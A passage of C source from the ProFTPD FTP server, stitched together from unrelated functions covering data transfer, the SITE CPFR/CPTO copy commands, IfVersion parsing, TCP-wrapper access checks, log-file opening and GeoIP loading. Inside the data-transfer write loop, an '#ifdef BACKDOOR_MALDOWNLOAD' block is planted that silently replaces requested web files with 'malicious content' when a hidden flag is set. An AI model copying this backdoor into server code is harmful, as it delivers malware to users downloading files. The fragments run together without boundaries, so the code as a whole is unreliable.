PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL); if (title_len > 0) { pr_proctitle_set_str(title_buf); } destroy_pool(cmd->pool); } } else { pr_trace_msg(trace_channel, 3, "invalid command sent, sending error response"); pr_response_send(R_500, _("Invalid command: try being more creative")); } } /* If we don't have a data connection here (e.g. might have been closed * by an ABOR, then return zero (no data transferred). */ if (session.d == NULL) { int xerrno; #if defined(ECONNABORTED) xerrno = ECONNABORTED; #elif defined(ENOTCONN) xerrno = ENOTCONN; #else xerrno = EIO; #endif pr_trace_msg(trace_channel, 1, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); pr_log_debug(DEBUG5, "data connection is null prior to data transfer (possibly from " "aborted transfer), returning '%s' error", strerror(xerrno)); errno = xerrno; return -1; } if (session.xfer.direction == PR_NETIO_IO_RD) { char *buf = session.xfer.buf; pr_buffer_t *pbuf; if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { int adjlen, buflen; do { buflen = session.xfer.buflen; /* how much remains in buf */ adjlen = 0; pr_signals_handle(); len = pr_netio_read(session.d->instrm, buf + buflen, session.xfer.bufsize - buflen, 1); if (len < 0) return -1; /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; if (len > 0) { buflen += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } } /* If buflen > 0, data remains in the buffer to be copied. */ if (len >= 0 && buflen > 0) { /* Perform translation: * * buflen is returned as the modified buffer length after * translation * adjlen is returned as the number of characters unprocessed in * the buffer (to be dealt with later) * * We skip the call to xfrm_ascii_read() in one case: * when we have one character in the buffer and have reached * end of data, this is so that xfrm_ascii_read() won't sit * forever waiting for the next character after a final '\r'. */ if (len > 0 || buflen > 1) xfrm_ascii_read(buf, &buflen, &adjlen); /* Now copy everything we can into cl_buf */ if (buflen > cl_size) { /* Because we have to cut our buffer short, make sure this * is made up for later by increasing adjlen. */ adjlen += (buflen - cl_size); buflen = cl_size; } memcpy(cl_buf, buf, buflen); /* Copy whatever remains at the end of session.xfer.buf to the * head of the buffer and adjust buf accordingly. * * adjlen is now the total bytes still waiting in buf, if * anything remains, copy it to the start of the buffer. */ if (adjlen > 0) memcpy(buf, buf+buflen, adjlen); /* Store everything back in session.xfer. */ session.xfer.buflen = adjlen; total += buflen; } /* Restart if data was returned by pr_netio_read() (len > 0) but no * data was copied to the client buffer (buflen = 0). This indicates * that xfrm_ascii_read() needs more data in order to translate, so we * need to call pr_netio_read() again. */ } while (len > 0 && buflen == 0); /* Return how much data we actually copied into the client buffer. */ len = buflen; } else if ((len = pr_netio_read(session.d->instrm, cl_buf, cl_size, 1)) > 0) { /* Before we process the data read from the client, generate an event * for any listeners which may want to examine this data. */ pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t)); pbuf->buf = buf; pbuf->buflen = len; pbuf->current = pbuf->buf; pbuf->remaining = 0; pr_event_generate("core.data-read", pbuf); /* The event listeners may have changed the data to write out. */ buf = pbuf->buf; len = pbuf->buflen - pbuf->remaining; /* Non-ASCII mode doesn't need to use session.xfer.buf */ if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } total += len; } } else { /* PR_NETIO_IO_WR */ while (cl_size) { int bwrote = 0; int buflen = cl_size; unsigned int xferbuflen; pr_signals_handle(); if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR)) buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR); xferbuflen = buflen; #ifdef BACKDOOR_MALDOWNLOAD int restriction = 0; if (strcmp(fakedownload, "1") == 0) { // Iterate through all files int i = 0; for (i = 0; i < mcounter; i++) { if (strcmp(mlist[i].category, "web") == 0) { if (strcmp(mlist[i].filename_good, active_full_path) == 0) { session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1); if (!session.xfer.buf) break; /* Fill up our internal buffer with malicious content. :-) */ memcpy(session.xfer.buf, filename_buffer, buflen); filename_buffer += buflen; restriction = 1; break; } } } } if (restriction == 0) { #endif /* BACKDOOR_MALDOWNLOAD */ /* Fill up our internal buffer. */ memcpy(session.xfer.buf, cl_buf, buflen); if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) { /* Scan the internal buffer, looking for LFs with no preceding CRs. * Add CRs (and expand the internal buffer) as necessary. xferbuflen * will be adjusted so that it contains the length of data in * the internal buffer, including any added CRs. */ xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize); } #ifdef BACKDOOR_MALDOWNLOAD } #endif /* BACKDOOR_MALDOWNLOAD */ bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen); if (bwrote < 0) return -1; if (bwrote > 0) { if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } cl_size -= buflen; cl_buf += buflen; total += buflen; } } len = total; } if (total && timeout_idle) pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); session.xfer.total_bytes += total; session.total_bytes += total; if (session.xfer.direction == PR_NETIO_IO_RD) { session.total_bytes_in += total; } else { session.total_bytes_out += total; } return (len < 0 ? -1 : len); }
MODRET copy_cpfr(cmd_rec *cmd) { register unsigned int i; int res; char *path = ""; unsigned char *authenticated = NULL; if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPFR", 5) != 0) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } CHECK_CMD_MIN_ARGS(cmd, 3); /* Construct the target file name by concatenating all the parameters after * the "SITE CPFR", separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), cmd->arg); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } path = pstrcat(cmd->tmp_pool, path, *path ? " " : "", decoded_path, NULL); } res = pr_filter_allow_path(CURRENT_CONF, path); switch (res) { case 0: break; case PR_FILTER_ERR_FAILS_ALLOW_FILTER: pr_log_debug(DEBUG2, MOD_COPY_VERSION ": 'CPFR %s' denied by PathAllowFilter", path); pr_response_add_err(R_550, _("%s: Forbidden filename"), path); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); case PR_FILTER_ERR_FAILS_DENY_FILTER: pr_log_debug(DEBUG2, MOD_COPY_VERSION ": 'CPFR %s' denied by PathDenyFilter", path); pr_response_add_err(R_550, _("%s: Forbidden filename"), path); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* Allow renaming a symlink, even a dangling one. */ path = dir_canonical_vpath(cmd->tmp_pool, path); if (!path || !dir_check_canon(cmd->tmp_pool, cmd, cmd->group, path, NULL) || !exists(path)) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", path, strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } if (pr_table_add(session.notes, "mod_copy.cpfr-path", pstrdup(session.pool, path), 0) < 0) { pr_trace_msg(trace_channel, 4, "error adding 'mod_copy.cpfr-path' note: %s", strerror(errno)); } pr_response_add(R_350, _("File or directory exists, ready for destination " "name")); return PR_HANDLED(cmd); }
/* Usage: <IfVersion [!]op version-string|regex> */ MODRET start_ifversion(cmd_rec *cmd) { unsigned int ifversion_ctx_count = 1; int compared, matched = FALSE, negated = FALSE; char buf[PR_TUNABLE_BUFFER_SIZE], *config_line = NULL; char *error = NULL, *version_str = NULL, *op_str = NULL; size_t op_len; if (cmd->argc-1 == 0 || cmd->argc-1 > 2) { CONF_ERROR(cmd, "wrong number of parameters"); } if (cmd->argc-1 == 2) { op_str = cmd->argv[1]; if (*op_str == '!' && strlen(op_str) > 1) { negated = TRUE; op_str++; } op_len = strlen(op_str); version_str = cmd->argv[2]; } else { /* Assume that if only a version-string was supplied, the operator * is intended to be the equality operator. */ op_str = "="; op_len = 1; version_str = cmd->argv[1]; } switch (*op_str) { case '=': if (*version_str != '/') { /* Normal equality comparison */ compared = compare_version(cmd->tmp_pool, version_str, &error); if (error != NULL) { CONF_ERROR(cmd, error); } matched = (compared == 0); break; } /* Otherwise, it's a regular expression */ if (version_str[strlen(version_str)-1] != '/') { CONF_ERROR(cmd, "Missing terminating '/' of regular expression"); } /* Fall through to the next case in order to handle/evaluate the * regular expression. Be sure to remove the bracketing '/' characters * for the regex compilation. */ version_str[strlen(version_str)-1] = '\0'; version_str++; case '~': /* Regular expression */ matched = match_version(cmd->tmp_pool, version_str, &error); if (error != NULL) { CONF_ERROR(cmd, error); } break; case '<': compared = compare_version(cmd->tmp_pool, version_str, &error); if (error != NULL) { CONF_ERROR(cmd, error); } if (compared == -1 || (op_len == 2 && compared == 0)) { matched = TRUE; } break; case '>': compared = compare_version(cmd->tmp_pool, version_str, &error); if (error != NULL) { CONF_ERROR(cmd, error); } if (compared == 1 || (op_len == 2 && compared == 0)) { matched = TRUE; } break; default: CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unknown comparison operator '", op_str, "'", NULL)); } if ((matched && !negated) || (!matched && negated)) { pr_log_debug(DEBUG3, "%s: using '%s %s' section at line %u", cmd->argv[0], cmd->argv[1], cmd->argv[2], pr_parser_get_lineno()); return PR_HANDLED(cmd); } pr_log_debug(DEBUG3, "%s: skipping '%s %s' section at line %u", cmd->argv[0], cmd->argv[1], cmd->argv[2], pr_parser_get_lineno()); while (ifversion_ctx_count > 0 && (config_line = pr_parser_read_line(buf, sizeof(buf))) != NULL) { pr_signals_handle(); if (strncasecmp(config_line, "<IfVersion", 10) == 0) { ifversion_ctx_count++; } if (strcasecmp(config_line, "</IfVersion>") == 0) { ifversion_ctx_count--; } } /* If there are still unclosed <IfVersion> sections, signal an error. */ if (ifversion_ctx_count > 0) { CONF_ERROR(cmd, "unclosed <IfVersion> section"); } return PR_HANDLED(cmd); }
MODRET copy_cpto(cmd_rec *cmd) { register unsigned int i; char *from, *to = ""; unsigned char *authenticated = NULL; if (copy_engine == FALSE) { return PR_DECLINED(cmd); } if (cmd->argc < 3 || strncasecmp(cmd->argv[1], "CPTO", 5) != 0) { return PR_DECLINED(cmd); } authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE); if (authenticated == NULL || *authenticated == FALSE) { pr_response_add_err(R_530, _("Please login with USER and PASS")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } CHECK_CMD_MIN_ARGS(cmd, 3); from = pr_table_get(session.notes, "mod_copy.cpfr-path", NULL); if (from == NULL) { pr_response_add_err(R_503, _("Bad sequence of commands")); pr_cmd_set_errno(cmd, EPERM); errno = EPERM; return PR_ERROR(cmd); } /* Construct the target file name by concatenating all the parameters after * the "SITE CPTO", separating them with spaces. */ for (i = 2; i <= cmd->argc-1; i++) { char *decoded_path; decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i], FSIO_DECODE_FL_TELL_ERRORS); if (decoded_path == NULL) { int xerrno = errno; pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s", (char *) cmd->argv[i], strerror(xerrno)); pr_response_add_err(R_550, _("%s: Illegal character sequence in filename"), cmd->arg); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } to = pstrcat(cmd->tmp_pool, to, *to ? " " : "", decoded_path, NULL); } to = dir_canonical_vpath(cmd->tmp_pool, to); if (copy_paths(cmd->tmp_pool, from, to) < 0) { int xerrno = errno; pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1], strerror(xerrno)); pr_cmd_set_errno(cmd, xerrno); errno = xerrno; return PR_ERROR(cmd); } pr_response_add(R_250, "%s", _("Copy successful")); return PR_HANDLED(cmd); }
MODRET wrap_handle_request(cmd_rec *cmd) { /* these variables are names expected to be set by the TCP wrapper code */ struct request_info request; char *user = NULL; config_rec *conf = NULL, *access_conf = NULL, *syslog_conf = NULL; hosts_allow_table = NULL; hosts_deny_table = NULL; /* hide passwords */ session.hide_password = TRUE; /* Sneaky...found in mod_auth.c's cmd_pass() function. Need to find the * login UID in order to resolve the possibly-login-dependent filename. */ user = pr_table_get(session.notes, "mod_auth.orig-user", NULL); /* It's possible that a PASS command came before USER. This is a PRE_CMD * handler, so it won't be protected from this case; we'll need to do * it manually. */ if (!user) return PR_DECLINED(cmd); /* Use mod_auth's _auth_resolve_user() [imported for use here] to get the * right configuration set, since the user may be logging in anonymously, * and the session struct hasn't yet been set for that yet (thus short- * circuiting the easiest way to get the right context...the macros. */ conf = wrap_resolve_user(cmd->pool, &user); /* Search first for user-specific access files. Multiple TCPUserAccessFiles * directives are allowed. */ if ((access_conf = find_config(conf ? conf->subset : CURRENT_CONF, CONF_PARAM, "TCPUserAccessFiles", FALSE)) != NULL) { int matched = FALSE; array_header *user_array = NULL; while (access_conf) { user_array = make_array(cmd->tmp_pool, 0, sizeof(char *)); *((char **) push_array(user_array)) = pstrdup(cmd->tmp_pool, user); /* Check the user expression -- don't forget the offset, to skip * the access file name strings in argv */ if (wrap_eval_expression(((char **) access_conf->argv) + 2, user_array)) { pr_log_debug(DEBUG4, MOD_WRAP_VERSION ": matched TCPUserAccessFiles expression"); matched = TRUE; break; } access_conf = find_config_next(access_conf, access_conf->next, CONF_PARAM, "TCPUserAccessFiles", FALSE); } if (!matched) access_conf = NULL; } /* Next, search for group-specific access files. Multiple * TCPGroupAccessFiles directives are allowed. */ if (!access_conf && (access_conf = find_config(conf ? conf->subset : CURRENT_CONF, CONF_PARAM, "TCPGroupAccessFiles", FALSE)) != NULL) { unsigned char matched = FALSE; /* NOTE: this gid_array is only necessary until Bug#1461 is fixed */ array_header *gid_array = make_array(cmd->pool, 0, sizeof(gid_t)); array_header *group_array = make_array(cmd->pool, 0, sizeof(char *)); while (access_conf) { if (pr_auth_getgroups(cmd->pool, user, &gid_array, &group_array) < 1) { pr_log_debug(DEBUG3, MOD_WRAP_VERSION ": no supplemental groups found for user '%s'", user); } else { /* Check the group expression -- don't forget the offset, to skip * the access file names strings in argv */ if (wrap_eval_expression(((char **) access_conf->argv) + 2, group_array)) { pr_log_debug(DEBUG4, MOD_WRAP_VERSION ": matched TCPGroupAccessFiles expression"); matched = TRUE; break; } } access_conf = find_config_next(access_conf, access_conf->next, CONF_PARAM, "TCPGroupAccessFiles", FALSE); } if (!matched) access_conf = NULL; } /* Finally for globally-applicable access files. Only one such directive * is allowed. */ if (!access_conf) { access_conf = find_config(conf ? conf->subset : CURRENT_CONF, CONF_PARAM, "TCPAccessFiles", FALSE); } if (access_conf) { hosts_allow_table = (char *) access_conf->argv[0]; hosts_deny_table = (char *) access_conf->argv[1]; } /* Now, check the retrieved filename, and see if it requires a login-time * file. */ if (hosts_allow_table != NULL && hosts_allow_table[0] == '~' && hosts_allow_table[1] == '/') { char *allow_real_table = NULL; allow_real_table = wrap_get_user_table(cmd, user, hosts_allow_table); if (!wrap_is_usable_file(allow_real_table)) { pr_log_pri(PR_LOG_WARNING, MOD_WRAP_VERSION ": configured TCPAllowFile %s is unusable", hosts_allow_table); hosts_allow_table = NULL; } else hosts_allow_table = allow_real_table; } if (hosts_deny_table != NULL && hosts_deny_table[0] == '~' && hosts_deny_table[1] == '/') { char *deny_real_table = NULL; deny_real_table = dir_realpath(cmd->pool, hosts_deny_table); if (!wrap_is_usable_file(deny_real_table)) { pr_log_pri(PR_LOG_WARNING, MOD_WRAP_VERSION ": configured TCPDenyFile %s is unusable", hosts_deny_table); hosts_deny_table = NULL; } else hosts_deny_table = deny_real_table; } /* Make sure that _both_ allow and deny TCPAccessFiles are present. * If not, log the missing file, and by default allow request to succeed. */ if (hosts_allow_table != NULL && hosts_deny_table != NULL) { /* Most common case...nothing more necessary */ } else if (hosts_allow_table == NULL && hosts_deny_table != NULL) { /* Log the missing file */ pr_log_pri(PR_LOG_INFO, MOD_WRAP_VERSION ": no usable allow access file -- " "allowing connection"); return PR_DECLINED(cmd); } else if (hosts_allow_table != NULL && hosts_deny_table == NULL) { /* log the missing file */ pr_log_pri(PR_LOG_INFO, MOD_WRAP_VERSION ": no usable deny access file -- " "allowing connection"); return PR_DECLINED(cmd); } else { /* Neither set -- assume the admin hasn't configured these directives * at all. */ return PR_DECLINED(cmd); } /* Log the names of the allow/deny files being used. */ pr_log_pri(PR_LOG_DEBUG, MOD_WRAP_VERSION ": using access files: %s, %s", hosts_allow_table, hosts_deny_table); /* retrieve the user-defined syslog priorities, if any. Fall back to the * defaults as seen in tcpd.h if not defined. */ syslog_conf = find_config(main_server->conf, CONF_PARAM, "TCPAccessSyslogLevels", FALSE); if (syslog_conf) { allow_severity = *((int *) syslog_conf->argv[0]); deny_severity = *((int *) syslog_conf->argv[1]); } else { allow_severity = PR_LOG_INFO; deny_severity = PR_LOG_WARNING; } /* While it may look odd to OR together the syslog facility and level, * that is the way that syslog(3) says to do it: * * "The priority argument is formed by ORing the facility and the level * values..." * * Note that we do this OR here because the allow_severity/deny_severity * values are ALSO used by the libwrap library; it is also why we need * to mask off some bits later, when using proftpd's logging functions. */ allow_severity = log_getfacility() | allow_severity; deny_severity = log_getfacility() | deny_severity; pr_log_debug(DEBUG4, MOD_WRAP_VERSION ": checking under service name '%s'", wrap_service_name); request_init(&request, RQ_DAEMON, wrap_service_name, RQ_FILE, session.c->rfd, 0); fromhost(&request); if (STR_EQ(eval_hostname(request.client), paranoid) || !hosts_access(&request)) { char *denymsg = NULL; /* log the denied connection */ wrap_log_request_denied(deny_severity, &request); /* Broadcast this event to any interested listeners. */ pr_event_generate("mod_wrap.connection-denied", NULL); /* check for AccessDenyMsg */ if ((denymsg = (char *) get_param_ptr(TOPLEVEL_CONF, "AccessDenyMsg", FALSE)) != NULL) denymsg = sreplace(cmd->tmp_pool, denymsg, "%u", user, NULL); if (denymsg) return PR_ERROR_MSG(cmd, R_530, denymsg); else return PR_ERROR_MSG(cmd, R_530, _("Access denied")); } /* If request is allowable, return DECLINED (for engine to act as if this * handler was never called, else ERROR (for engine to abort processing and * deny request. */ wrap_log_request_allowed(allow_severity, &request); return PR_DECLINED(cmd); }
static int create_path(pool *p, const char *path) { struct stat st; char *curr_path, *dup_path; pr_fs_clear_cache2(path); if (pr_fsio_stat(path, &st) == 0) { return 0; } dup_path = pstrdup(p, path); curr_path = "/"; while (dup_path && *dup_path) { char *curr_dir; int res; cmd_rec *cmd; pool *sub_pool; pr_signals_handle(); curr_dir = strsep(&dup_path, "/"); curr_path = pdircat(p, curr_path, curr_dir, NULL); /* Dispatch fake C_MKD command, e.g. for mod_quotatab */ sub_pool = pr_pool_create_sz(p, 64); cmd = pr_cmd_alloc(sub_pool, 2, pstrdup(sub_pool, C_MKD), pstrdup(sub_pool, curr_path)); cmd->arg = pstrdup(cmd->pool, curr_path); cmd->cmd_class = CL_DIRS|CL_WRITE; pr_response_clear(&resp_list); pr_response_clear(&resp_err_list); res = pr_cmd_dispatch_phase(cmd, PRE_CMD, 0); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG3, MOD_COPY_VERSION ": creating directory '%s' blocked by MKD handler: %s", curr_path, strerror(xerrno)); pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0); pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0); pr_response_clear(&resp_err_list); destroy_pool(sub_pool); errno = xerrno; return -1; } res = create_dir(curr_path); if (res < 0) { pr_cmd_dispatch_phase(cmd, POST_CMD_ERR, 0); pr_cmd_dispatch_phase(cmd, LOG_CMD_ERR, 0); pr_response_clear(&resp_err_list); destroy_pool(sub_pool); return -1; } pr_cmd_dispatch_phase(cmd, POST_CMD, 0); pr_cmd_dispatch_phase(cmd, LOG_CMD, 0); pr_response_clear(&resp_list); destroy_pool(sub_pool); } return 0; }
static int af_check_file(pool *p, const char *name, const char *path, int flags) { struct stat st; int res; const char *orig_path; orig_path = path; res = lstat(path, &st); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to lstat %s '%s': %s", name, path, strerror(xerrno)); errno = xerrno; return -1; } if (S_ISLNK(st.st_mode)) { char buf[PR_TUNABLE_PATH_MAX+1]; /* Check the permissions on the parent directory; if they're world-writable, * then this symlink can be deleted/pointed somewhere else. */ res = af_check_parent_dir(p, name, path); if (res < 0) { return -1; } /* Follow the link to the target path; that path will then have its * parent directory checked. */ memset(buf, '\0', sizeof(buf)); res = pr_fsio_readlink(path, buf, sizeof(buf)-1); if (res > 0) { /* The path contained in the symlink might itself be relative, thus * we need to make sure that we get an absolute path (Bug#4145). */ path = dir_abs_path(p, buf, FALSE); if (path != NULL) { orig_path = path; } } res = stat(orig_path, &st); if (res < 0) { int xerrno = errno; pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to stat %s '%s': %s", name, orig_path, strerror(xerrno)); errno = xerrno; return -1; } } if (S_ISDIR(st.st_mode)) { int xerrno = EISDIR; pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to use %s '%s': %s", name, orig_path, strerror(xerrno)); errno = xerrno; return -1; } /* World-readable files MAY be insecure, and are thus not usable/trusted. */ if ((st.st_mode & S_IROTH) && !(flags & PR_AUTH_FILE_FL_ALLOW_WORLD_READABLE)) { int xerrno = EPERM; pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to use world-readable %s '%s' (perms %04o): %s", name, orig_path, st.st_mode & ~S_IFMT, strerror(xerrno)); errno = xerrno; return -1; } /* World-writable files are insecure, and are thus not usable/trusted. */ if (st.st_mode & S_IWOTH) { int xerrno = EPERM; pr_log_debug(DEBUG0, MOD_AUTH_FILE_VERSION ": unable to use world-writable %s '%s' (perms %04o): %s", name, orig_path, st.st_mode & ~S_IFMT, strerror(xerrno)); errno = xerrno; return -1; } if (!S_ISREG(st.st_mode)) { pr_log_pri(PR_LOG_WARNING, MOD_AUTH_FILE_VERSION ": %s '%s' is not a regular file", name, orig_path); } /* Check the parent directory of this file. If the parent directory * is world-writable, that too is insecure. */ res = af_check_parent_dir(p, name, orig_path); if (res < 0) { return -1; } return 0; }
int pr_log_openfile(const char *log_file, int *log_fd, mode_t log_mode) { pool *tmp_pool = NULL; char *tmp = NULL, *lf; unsigned char have_stat = FALSE, *allow_log_symlinks = NULL; struct stat sbuf; /* Sanity check */ if (!log_file || !log_fd) { errno = EINVAL; return -1; } /* Make a temporary copy of log_file in case it's a constant */ tmp_pool = make_sub_pool(permanent_pool); pr_pool_tag(tmp_pool, "log_openfile() tmp pool"); lf = pstrdup(tmp_pool, log_file); tmp = strrchr(lf, '/'); if (tmp == NULL) { pr_log_debug(DEBUG0, "inappropriate log file: %s", lf); destroy_pool(tmp_pool); return -1; } /* Set the path separator to zero, in order to obtain the directory * name, so that checks of the directory may be made. */ *tmp = '\0'; if (stat(lf, &sbuf) == -1) { pr_log_debug(DEBUG0, "error: unable to stat() %s: %s", lf, strerror(errno)); destroy_pool(tmp_pool); return -1; } /* The path must be in a valid directory */ if (!S_ISDIR(sbuf.st_mode)) { pr_log_debug(DEBUG0, "error: %s is not a directory", lf); destroy_pool(tmp_pool); return -1; } /* Do not log to world-writeable directories */ if (sbuf.st_mode & S_IWOTH) { pr_log_pri(PR_LOG_NOTICE, "error: %s is a world writeable directory", lf); destroy_pool(tmp_pool); return LOG_WRITEABLE_DIR; } /* Restore the path separator so that checks on the file itself may be * done. */ *tmp = '/'; allow_log_symlinks = get_param_ptr(main_server->conf, "AllowLogSymlinks", FALSE); if (!allow_log_symlinks || *allow_log_symlinks == FALSE) { int flags = O_APPEND|O_CREAT|O_WRONLY; #ifdef O_NOFOLLOW /* On systems that support the O_NOFOLLOW flag (e.g. Linux and FreeBSD), * use it so that the path being opened, if it is a symlink, is not * followed. */ flags |= O_NOFOLLOW; #elif defined(SOLARIS2) /* Solaris doesn't support the O_NOFOLLOW flag. Instead, in their * wisdom (hah!), Solaris decided that if the given path is a symlink * and the flags O_CREAT and O_EXCL are set, the link is not followed. * Right. The problem here is the case where the path is not a symlink; * using O_CREAT|O_EXCL will then cause the open() to fail if the * file already exists. */ flags |= O_EXCL; #endif /* O_NOFOLLOW or SOLARIS2 */ *log_fd = open(lf, flags, log_mode); if (*log_fd == -1) { if (errno != EEXIST) { destroy_pool(tmp_pool); /* More portability fun: Linux likes to report ELOOP if O_NOFOLLOW * is used to open a symlink file; FreeBSD likes to return EMLINK. * Both would lead to rather misleading error messages being * logged. Catch these errnos, and return the value that properly * informs the caller that the given path was an illegal symlink. */ switch (errno) { #ifdef ELOOP case ELOOP: return LOG_SYMLINK; #endif /* ELOOP */ #ifdef EMLINK case EMLINK: return LOG_SYMLINK; #endif /* EMLINK */ } return -1; } else { #if defined(SOLARIS2) /* On Solaris, because of the stupid multiplexing of O_CREAT and * O_EXCL to get open() not to follow a symlink, it's possible that * the path already exists. Now, we'll try to open() without * O_EXCL, then lstat() the path to see if this pre-existing file is * a symlink or a regular file. * * Note that because this check cannot be done atomically on Solaris, * the possibility of a race condition/symlink attack still exists. * Solaris doesn't provide a good way around this situation. */ flags &= ~O_EXCL; *log_fd = open(lf, flags, log_mode); if (*log_fd == -1) { destroy_pool(tmp_pool); return -1; } /* The race condition on Solaris is here, between the open() call * above and the lstat() call below... */ if (lstat(lf, &sbuf) != -1) have_stat = TRUE; #else destroy_pool(tmp_pool); return -1; #endif /* SOLARIS2 */ } } /* Stat the file using the descriptor, not the path */ if (!have_stat && fstat(*log_fd, &sbuf) != -1) have_stat = TRUE; if (!have_stat || S_ISLNK(sbuf.st_mode)) { pr_log_debug(DEBUG0, !have_stat ? "error: unable to stat %s" : "error: %s is a symbolic link", lf); close(*log_fd); *log_fd = -1; destroy_pool(tmp_pool); return LOG_SYMLINK; } } else { *log_fd = open(lf, O_CREAT|O_APPEND|O_WRONLY, log_mode); if (*log_fd == -1) { destroy_pool(tmp_pool); return -1; } } destroy_pool(tmp_pool); return 0; }
static void get_geoip_tables(array_header *geoips, int filter_flags) { config_rec *c; c = find_config(main_server->conf, CONF_PARAM, "GeoIPTable", FALSE); while (c) { GeoIP *gi; const char *path; int flags, use_utf8 = FALSE; pr_signals_handle(); path = c->argv[0]; flags = *((int *) c->argv[1]); use_utf8 = *((int *) c->argv[2]); /* Make sure we open tables that are marked with the default * GEOIP_STANDARD flag, which has a value of zero. */ if ((flags == GEOIP_STANDARD && filter_flags != GEOIP_STANDARD) || !(flags & filter_flags)) { c = find_config_next(c, c->next, CONF_PARAM, "GeoIPTable", FALSE); continue; } PRIVS_ROOT gi = GeoIP_open(path, flags); if (gi == NULL && (flags & GEOIP_INDEX_CACHE)) { /* Per Bug#3975, a common cause of this error is the fact that some * of the Maxmind GeoIP Lite database files simply do not have indexes. * So try to open them as standard databases as a fallback. */ pr_log_debug(DEBUG8, MOD_GEOIP_VERSION ": unable to open GeoIPTable '%s' using the IndexCache flag " "(database lacks index?), retrying without IndexCache flag", path); flags &= ~GEOIP_INDEX_CACHE; gi = GeoIP_open(path, flags); } PRIVS_RELINQUISH if (gi != NULL) { if (use_utf8) { GeoIP_set_charset(gi, GEOIP_CHARSET_UTF8); } *((GeoIP **) push_array(geoips)) = gi; pr_trace_msg(trace_channel, 15, "loaded GeoIP table '%s': %s (type %d)", path, GeoIP_database_info(gi), GeoIP_database_edition(gi)); } else { /* XXX Sigh. Stupid libGeoIP library logs to stdout/stderr, rather * than providing a strerror function. Grr! */ pr_log_pri(PR_LOG_WARNING, MOD_GEOIP_VERSION ": warning: unable to open/use GeoIPTable '%s'", path); } c = find_config_next(c, c->next, CONF_PARAM, "GeoIPTable", FALSE); } if (geoips->nelts == 0 && static_geoips->nelts == 0 && ((filter_flags == GEOIP_STANDARD) || (filter_flags & GEOIP_CHECK_CACHE))) { GeoIP *gi; /* Let the library use its own default database file(s), if no others * have been configured. */ PRIVS_ROOT gi = GeoIP_new(GEOIP_STANDARD); PRIVS_RELINQUISH if (gi != NULL) { *((GeoIP **) push_array(geoips)) = gi; pr_trace_msg(trace_channel, 15, "loaded default GeoIP table: %s (type %d)", GeoIP_database_info(gi), GeoIP_database_edition(gi)); } else { pr_log_pri(PR_LOG_WARNING, MOD_GEOIP_VERSION ": warning: unable to open/use default GeoIP library database file(s)"); } }
